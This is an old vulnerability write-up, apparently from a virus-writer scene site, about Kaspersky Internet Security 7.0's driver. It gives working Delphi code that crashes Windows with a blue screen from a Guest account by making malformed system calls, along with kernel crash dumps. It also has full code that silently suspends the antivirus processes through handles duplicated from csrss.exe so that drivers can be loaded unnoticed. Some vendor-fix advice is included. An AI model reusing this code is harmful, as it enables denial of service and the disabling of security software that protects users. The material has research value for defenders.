Haxdoors of the Kaspersky Antivirus 6/7
================================
Preamble
================================
Kaspersky Antivirus one of the most technically modern antiviruses available today. It even can fight with several rootkit types, even when they are alive and kicking.
It features Proactive Defense module, a light HIPS implementation which should in theory protect computer from unknown threats by analyzing programs behavior and preventing programs from unauthorized actions.
This is the theory and promises of the screaming advertising. In real life we have absolutely different situation. There are exists many rootkits, which are completely undetectable by this antivirus, its proactive defense still can be bypassed and gives attacker ways to load driver, after this any proactive defense surrenders.
This article is not simple overview of bugs and vulnerabilities in the end of each part we are giving some recommendations to the Kaspersky Developers because as we see they can't handle their bugs itself. And oh yes, all listed below is not a critical vulnerabilities or bugs, no-no =). Just a few easy methods to get BSOD with KAV/KIS installed even from Guest account, just a method of KAV/KIS bypassing... etc, don't take it too close to the heart, guys 
Version of Kaspersky in this article - 7.0 latest public build 125, product type - Internet Security.
============================================
Kaspesky and System Service Descriptor Table
============================================
Very long time is known that this is the weakest part of this antivirus. The weakest, because it contains number of elementary bugs.
Another example of poorly coded so-called Proactive Defense. On Windows XP Kaspersky AV adds additional services in SSDT table. Count of services entries which are present only on Windows 2003. They starts from 284 and ends 296. About 13 unknown entries with addresses inside klif.sys.
Here they are:
CODE:
ntkrnlpa.exe-->UNKNOWN_SSDT_ENTRY, 0xF809BD80 hook handler located in [C:/WINDOWS/system32/drivers/klif.sys]What is it? Fully unknown, but look like KAV developers do that to solve problem with different counts of entries for XP and 2003. Why it was done it is not our concern.
ntkrnlpa.exe-->UNKNOWN_SSDT_ENTRY, 0xF809BD90 hook handler located in [C:/WINDOWS/system32/drivers/klif.sys]
ntkrnlpa.exe-->UNKNOWN_SSDT_ENTRY, 0xF809BDA0 hook handler located in [C:/WINDOWS/system32/drivers/klif.sys]
ntkrnlpa.exe-->UNKNOWN_SSDT_ENTRY, 0xF809BDC0 hook handler located in [C:/WINDOWS/system32/drivers/klif.sys]
ntkrnlpa.exe-->UNKNOWN_SSDT_ENTRY, 0xF809BDE0 hook handler located in [C:/WINDOWS/system32/drivers/klif.sys]
ntkrnlpa.exe-->UNKNOWN_SSDT_ENTRY, 0xF809BE10 hook handler located in [C:/WINDOWS/system32/drivers/klif.sys]
ntkrnlpa.exe-->UNKNOWN_SSDT_ENTRY, 0xF809BE20 hook handler located in [C:/WINDOWS/system32/drivers/klif.sys]
ntkrnlpa.exe-->UNKNOWN_SSDT_ENTRY, 0xF809BE40 hook handler located in [C:/WINDOWS/system32/drivers/klif.sys]
ntkrnlpa.exe-->UNKNOWN_SSDT_ENTRY, 0xF809BE50 hook handler located in [C:/WINDOWS/system32/drivers/klif.sys]
ntkrnlpa.exe-->UNKNOWN_SSDT_ENTRY, 0xF809BF10 hook handler located in [C:/WINDOWS/system32/drivers/klif.sys]
ntkrnlpa.exe-->UNKNOWN_SSDT_ENTRY, 0xF809BFE0 hook handler located in [C:/WINDOWS/system32/drivers/klif.sys]
ntkrnlpa.exe-->UNKNOWN_SSDT_ENTRY, 0xF809C020 hook handler located in [C:/WINDOWS/system32/drivers/klif.sys]
ntkrnlpa.exe-->UNKNOWN_SSDT_ENTRY, 0xF809C060 hook handler located in [C:/WINDOWS/system32/drivers/klif.sys]
And now surprise. Any of this unknown SSDT entries can be EXPLOITED and can crash system into the BSOD even from Guest account with MINIMAL PRIVILEGES. We coded simple program. Its generates invalid system calls with invalid parameters for these unknown SSDT entries. The code is very simple but efficient. Using the same on clean Windows will lead to nothing, because Windows handles such situation in the right manner.
CODE:
var
Services: array[0..12] of ULONG;
ThreadTerminated: boolean = false;
ExecThread: THANDLE;
function MakeSysCall(SysCallNumber: integer; const Stack: PDWORD): DWORD; stdcall;
asm
mov eax, SysCallNumber
mov edx, Stack
int 2eh
mov Result,eax
end;
function exec(p1: pointer): DWORD; stdcall;
var
i: integer;
p2: DWORD;
p3: DWORD;
begin
randomize();
u := 0;
for i := 0 to 12 do Services[i] := 284 + i;
while not ThreadTerminated do
begin
p2 := random($FFFFFFFF);
p3 := Services[random(12)];
MakeSysCall(p3, @p2);
Sleep(100);
end;
CloseHandle(ExecThread);
ExecThread := 0;
result := 0;
end;
var
p2: DWORD;
begin
ThreadTerminated := false;
ExecThread := CreateThread(nil, 0, @exec, nil, 0, p2);
end;Results of execution: Kaspersky Internet Security v7.0 125 build
PAGE_FAULT_IN_NONPAGED_AREA (50)
Invalid system memory was referenced. This cannot be protected by try-except,
it must be protected by a Probe. Typically the address is just plain bad or it
is pointing at freed memory.
Arguments:
Arg1: e0ae15f9, memory referenced.
Arg2: 00000000, value 0 = read operation, 1 = write operation.
Arg3: f8087e8c, If non-zero, the instruction address which referenced the bad memory
address.
Arg4: 00000000, (reserved)
Debugging Details:
------------------
CODE:
***** Kernel symbols are WRONG. Please fix symbols to do analysis.
MODULE_NAME: klif
FAULTING_MODULE: 804d7000 nt
DEBUG_FLR_IMAGE_TIMESTAMP: 468266cd
READ_ADDRESS: unable to get nt!MmSpecialPoolStart
unable to get nt!MmSpecialPoolEnd
unable to get nt!MmPoolCodeStart
unable to get nt!MmPoolCodeEnd
e0ae15f9
FAULTING_IP:
klif+5e8c
f8087e8c 8b07 mov eax,dword ptr [edi]
MM_INTERNAL_CODE: 0
CUSTOMER_CRASH_COUNT: 1
DEFAULT_BUCKET_ID: WRONG_SYMBOLS
BUGCHECK_STR: 0x50
LAST_CONTROL_TRANSFER: from 00442ea4 to f8087e8c
STACK_TEXT:
WARNING: Stack unwind information not available. Following frames may be wrong.
f783fd64 00442ea4 badb0d00 00ebffb0 00000000 klif+0x5e8c
f783fd68 badb0d00 00ebffb0 00000000 00000000 0x442ea4
f783fd6c 00ebffb0 00000000 00000000 00000000 0xbadb0d00
f783fd70 00000000 00000000 00000000 00000000 0xebffb0
STACK_COMMAND: kb
FOLLOWUP_IP:
klif+5e8c
f8087e8c 8b07 mov eax,dword ptr [edi]
SYMBOL_STACK_INDEX: 0
FOLLOWUP_NAME: MachineOwner
IMAGE_NAME: klif.sys
SYMBOL_NAME: klif+5e8c
BUCKET_ID: WRONG_SYMBOLS
Followup: MachineOwner=====================================
But! This is not all!
In spite of the previously report vulnerabilities in SSDT handlers KL developers STILL not fixed them!
We can prove that by simple program called NTCALL. After starting it begins generation of invalid system services calls.
NtCreateSection haha, another BSOD, doesn't it remembers some kind of BSOD-generator? =)
PAGE_FAULT_IN_NONPAGED_AREA (50)
Invalid system memory was referenced. This cannot be protected by try-except,
it must be protected by a Probe. Typically the address is just plain bad or it
is pointing at freed memory.
Arguments:
Arg1: e1f83004, memory referenced.
Arg2: 00000000, value 0 = read operation, 1 = write operation.
Arg3: f9417eee, If non-zero, the instruction address which referenced the bad memory
address.
Arg4: 00000001, (reserved)
Debugging Details:
------------------
CODE:
ANALYSIS: Kernel with unknown size. Will force reload symbols with known size.
ANALYSIS: Force reload command: .reload /f ntoskrnl.exe=FFFFFFFF804D7000,214600,41108004
***** Kernel symbols are WRONG. Please fix symbols to do analysis.
MODULE_NAME: klif
FAULTING_MODULE: 804d7000 nt
DEBUG_FLR_IMAGE_TIMESTAMP: 468266cd
READ_ADDRESS: unable to get nt!MmSpecialPoolStart
unable to get nt!MmSpecialPoolEnd
unable to get nt!MmPoolCodeStart
unable to get nt!MmPoolCodeEnd
e1f83004
FAULTING_IP:
klif+19eee
f9417eee 8b4500 mov eax,dword ptr [ebp]
MM_INTERNAL_CODE: 1
CUSTOMER_CRASH_COUNT: 1
DEFAULT_BUCKET_ID: WRONG_SYMBOLS
BUGCHECK_STR: 0x50
LAST_CONTROL_TRANSFER: from 80000014 to f9417eee
STACK_TEXT:
WARNING: Stack unwind information not available. Following frames may be wrong.
f6052850 80000014 e1f6a008 00010013 f9418090 klif+0x19eee
f6052854 e1f6a008 00010013 f9418090 00000000 0x80000014
f6052858 00010013 f9418090 00000000 f94180bc 0xe1f6a008
f605285c f9418090 00000000 f94180bc e1f6a008 0x10013
f6052860 00000000 f94180bc e1f6a008 80000014 klif+0x1a090
STACK_COMMAND: kb
FOLLOWUP_IP:
klif+19eee
f9417eee 8b4500 mov eax,dword ptr [ebp]
SYMBOL_STACK_INDEX: 0
FOLLOWUP_NAME: MachineOwner
IMAGE_NAME: klif.sys
SYMBOL_NAME: klif+19eee
BUCKET_ID: WRONG_SYMBOLS
Followup: MachineOwnerFor this part recommendations will be simple - put your driver into debugger.
====================================
Kaspersky and Import Addresses Table
====================================
The following code
CODE:
varwill lead to the Access Violation. That is normal, because we used invalid parameter for the function, but abnormal thing here is WHERE this access violation occurs, the address - 0xF80B3306.
p1: PChar;
begin
p1 := PChar($ffffffff);
LoadLibraryA(p1);
end;
This is not a joke - 0xF80B3306! In kernel mode!
To be more correct inside klif.sys
Lets look whats happening.
We found massive IAT modifcation found for each process in the system. Look whats happened with explorer.exe
[420]explorer.exe-->kernel32.dll-->LoadLibraryExA, Type: IAT Modification at address 0x010010A8-->7C882FB0 hook handler located in [kernel32.dll]
[420]explorer.exe-->kernel32.dll-->LoadLibraryExW, Type: IAT Modification at address 0x010010F8-->7C882FD8 hook handler located in [kernel32.dll]
[420]explorer.exe-->kernel32.dll-->LoadLibraryA, Type: IAT Modification at address 0x01001150-->7C882F9C hook handler located in [kernel32.dll]
[420]explorer.exe-->kernel32.dll-->LoadLibraryW, Type: IAT Modification at address 0x010011D0-->7C882FC4 hook handler located in [kernel32.dll]
[420]explorer.exe-->kernel32.dll-->GetProcAddress, Type: IAT Modification at address 0x010011E4-->7C882FEC hook handler located in [kernel32.dll]
Strange isn't? Lets trace LoadLibraryA call.
KERNEL32.LoadLibraryA:
CODE:
push ebpThats how looks LoadLibraryA inside kernel32.dll after IAT redirection by Kaspersky Antivirus. Isn't a perversion?
mov ebp, esp
nop
pop ebp
jmp +$7b830b4a <-call gate to klif.sys
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
If you installs this antivirus on your PC you are (what a irony) opening it for additional exploits / backdoors, created with help of this antivirus, LOL.
For this part we are recommending Kaspersky developers remove this perversion from their product. Exists better and simpler ways to communicate with kernel mode part and in the end - this is a simple perversion.
================================
Kaspersky Antivirus Self-Defense
================================
As most of you knows, Kaspersky Antivirus activelly defend itself against malware attacks. Its processes are protected from unauthorized access and termination by malware. But how good they are protected?
BAD.
Kaspersky Antivirus set up several hooks in SSDT (e.g. NtOpenProcess, NtOpenThread, NtTerminateProcess etc), several hooks in Shadow SSDT (e.g. NtUserFindWindowEx, NtUserBuildHwndList etc) additionally to protect itself from malware attacks.
Additionally it set ups itself as service with restart on errors settings. Service configuration in registry protected from access by several hooks in the SSDT. So how we can kill this AV? And do we need to kill it? If we will kill avp.exe GUI part then it will be restarted by service. If we kill service, then it will be restarted by SCM. So, how we can destroy this antivirus (in educational purposes, of course)? That's a good question. The answer is very simple. We should leave it alive, but make it totally unworkable. One thing that we need - load driver, after it we will be completely out of Kaspersky Antivirus interests. But previous we have to lock it, to give us this ability, yeah? Not exactly. There are exists at least three methods which can do the silent driver loading without any notice from Kaspersky Proactive Defense 7.0 I'm sure that exists and some other methods. In our case we must suspend all threads of Kaspersky processes, simple suspend, nothing more, that will be enough. We can't access threads of the Kaspersky processes directly, because SSDT is owned by PDM. So it is time to use our loved backdoor process called csrss.exe 
In this example we a priori takes that KAV executables named avp.exe and csrss.exe exists in one instance (LOL, if you have ring3 malware masking as csrss.exe, here could be a little problem).
CODE:
var
AVPID: array[0..9] of ULONG;
last: integer;
h2: THANDLE;
ph: THANDLE;
bytesIO: ULONG;
buf: PSYSINFOBUF;
i, c: integer;
cid1: CLIENT_ID;
attr: OBJECT_ATTRIBUTES;
csrss_id: THANDLE;
tmp1: LBuf;
pBuffer: PROCESSENTRY32W;
SnapShotHandle: THANDLE;
tbi: THREAD_BASIC_INFORMATION;
exists: boolean;
begin
RTL.EnableSystemPrivilege('SeDebugPrivilege', true);
last := 0;
pBuffer.dwSize := sizeof(PROCESSENTRY32W);
SnapShotHandle := CreateToolHelp32SnapShot(TH32CS_SNAPPROCESS, 0);
if (SnapShotHandle <> INVALID_HANDLE_VALUE) then
if Process32FirstW(SnapShotHandle, @pBuffer) then
repeat
if (pBuffer.szExeFile = 'avp.exe') then
begin
for i := 0 to 9 do
exists := (AVPID[i] = pBuffer.th32ProcessID);
if not exists then
begin
AVPID[last] := pBuffer.th32ProcessID;
inc(last);
end;
end;
until (not Process32NextW(SnapShotHandle, @pBuffer));
CloseHandle(SnapShotHandle);
csrss_id := 0;
pBuffer.dwSize := sizeof(PROCESSENTRY32W);
SnapShotHandle := CreateToolHelp32SnapShot(TH32CS_SNAPPROCESS, 0);
if (SnapShotHandle <> INVALID_HANDLE_VALUE) then
if Process32FirstW(SnapShotHandle, @pBuffer) then
repeat
ExtractFileNameW(pBuffer.szExeFile, tmp1);
if (strcmpiW(tmp1, 'csrss.exe') = 0) then
begin
csrss_id := pBuffer.th32ProcessID;
break;
end;
until (not Process32NextW(SnapShotHandle, @pBuffer));
CloseHandle(SnapShotHandle);
if (csrss_id = 0) then exit;
attr.Length := sizeof(OBJECT_ATTRIBUTES);
attr.RootDirectory := 0;
attr.ObjectName := nil;
attr.Attributes := 0;
attr.SecurityDescriptor := nil;
attr.SecurityQualityOfService := nil;
cid1.UniqueProcess := csrss_id;
cid1.UniqueThread := 0;
if (ZwOpenProcess(@ph, PROCESS_ALL_ACCESS, @attr, @cid1) <> STATUS_SUCCESS) then exit;
bytesIO := 4194304;
buf := nil;
ZwAllocateVirtualMemory(GetCurrentProcess(), @buf, 0, @bytesIO, MEM_COMMIT, PAGE_READWRITE);
ZwQuerySystemInformation(SystemHandleInformation, buf, 4194304, @bytesIO);
for c := 0 to buf^.uHandleCount - 1 do
if (buf^.rHandleTable[c].ProcessId = csrss_id) then
begin
if (buf^.rHandleTable[c].ObjectTypeNumber = PsThreadType) then
begin
h2 := 0;
if (ZwDuplicateObject(ph, buf^.rHandleTable[c].Handle, DWORD(-1), @h2,
0, 0, DUPLICATE_SAME_ACCESS) = STATUS_SUCCESS) then
begin
ZwQueryInformationThread(h2, ThreadBasicInformation, @tbi, sizeof(tbi), @bytesIO);
for i := 0 to last do
if (tbi.ClientId.UniqueProcess = AVPID[i]) then ZwSuspendThread(h2, nil);
end;
end;
end;
ZwClose(ph);
bytesIO := 0;
ZwFreeVirtualMemory(GetCurrentProcess(), @buf, @bytesIO, MEM_RELEASE);
end;After this both executables of Kaspersky will be suspended and we can load drivers and do our job silently =)
Tested on KIS v7.0 build 125 with Default AV settings applied.
Windows XP SP2, admin rights.
We recommend KL walk into HANDLE_TABLE and change access rights for their Thread handles. Additionally it is time to improve filter for NtDuplicateObject hook.
================================
Epilog
================================
You might be asking yourself, why so OBVIOUS BUGS / natural DoS haxdoors still EXISTS in the one of the most popular antiviruses? Because somebody should do kick in the ass of KL. Not so long time ago we have published another overview of KAV bugs - "Exploiting Kaspersky Antivirus 6.0/7.0" The reaction on this article was expected. They said something like this - "No worry, this is not a critical bugs". Yes, probably Blue Screen Of Death from GUEST account is not a very big problem for this company. "Really, wtf is BSOD? Nothing, relax guys" But something is changing, they closed several published vulnerabilities, so they must say a little "thank you" to us. Instead of this we have got a lot of **** in our addresses (of course unofficially). Well, we simple don't care about such reactions, so don't bother yourself guys/fanatics. We do not want our self advertisment and we do not want watch so stupid BSOD's from KAV.
Dear Kaspersky Lab developers, your antivirus is pretty good, it is not disputable fact, but maybe it is time for you - fix these bugs? Remove your perversions in SSDT/IAT hooking. Add more exception handling in your driver. Seriously what is wrong? Looking on klif.sys I see only one thing -> BIG, BUGGY driver.
Some kind of unofficial reaction from the Kaspersky Lab on our previous overview of klif.sys vulnerabilities you can read from this wonderful article, which contains several absurd statements and nonsense commentaries. In few words, author of this article has partly accused us for publication information about vulnerabilities in the their old/new products.
http://www.viruslist.ru/analysis?pubid=204007553
It is in Russian, but I'm sure you can find English variant.
Have a fun,
from the VX heavens
EP_X0FF/UG North